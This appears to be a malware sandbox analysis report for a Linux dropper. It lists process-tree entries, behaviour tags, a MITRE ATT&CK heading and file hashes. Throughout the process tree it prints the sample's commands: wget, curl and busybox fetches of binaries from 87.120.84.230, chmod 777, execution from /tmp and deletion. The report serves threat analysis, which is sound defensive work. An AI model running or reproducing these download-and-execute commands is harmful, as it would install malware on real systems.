/usr/bin/wgetwget http://87.120.84.230/bins/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵PID:931
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:932
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵PID:933
-
-
/bin/chmodchmod 777 rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵
- File and Directory Permissions Modification
PID:934
-
-
/tmp/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7./rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵
- Executes dropped EXE
PID:935
-
-
/bin/rmrm rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵PID:936
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵PID:937
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:938
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵PID:939
-
-
/bin/chmodchmod 777 GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵
- File and Directory Permissions Modification
PID:940
-
-
/tmp/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn./GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵
- Executes dropped EXE
PID:941
-
-
/bin/rmrm GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵PID:942
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97